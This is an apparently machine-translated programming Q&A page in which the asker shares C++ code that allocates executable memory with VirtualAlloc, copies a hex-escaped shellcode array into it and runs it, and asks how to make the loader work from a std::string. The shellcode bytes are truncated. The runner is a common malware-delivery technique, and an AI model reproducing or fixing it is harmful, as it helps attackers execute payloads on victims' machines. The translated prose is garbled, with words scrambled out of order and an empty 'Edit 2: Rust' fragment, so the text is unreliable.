问题描述
我在下面使用此代码:
#include <iostream>
#include <windows.h>
#include <string>
void main(){
char test[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52...";
void* exec = VirtualAlloc(0,sizeof test,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,test,sizeof test);
((void(*)())exec)();
}
基本上它允许在内存中有一个空间,在这个空间中复制shellcode,并执行它。
此代码运行良好,但由于某些转换和格式原因,我的 shellcode 输出需要为 string
。显然,string
中不允许使用 memcpy()
类型,那么有没有办法绕过该限制?
我确切地说,我已经尝试使用 string
循环将 char[]
中的 for
转换为 string
,并将此 const char*
转换为 c_str()
string test = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x5"....
const char* shellcode = test.c_str();
void* exec = VirtualAlloc(0,shellcode.size(),PAGE_EXECUTE_READWRITE);
memcpy(exec,shellcode,shellcode.size());
((void(*)())exec)();
函数,但 shellcode 不执行。
编辑 1:这是不起作用的代码:
const char* shellcode = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x5"....
string test(shellcode,355);
const char* shellcode_cstr = test.c_str();
void* exec = VirtualAlloc(0,sizeof shellcode_cstr,PAGE_EXECUTE_READWRITE);
memcpy(exec,shellcode_cstr,sizeof shellcode_cstr);
((void(*)())exec)();
编辑2:
Rust
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)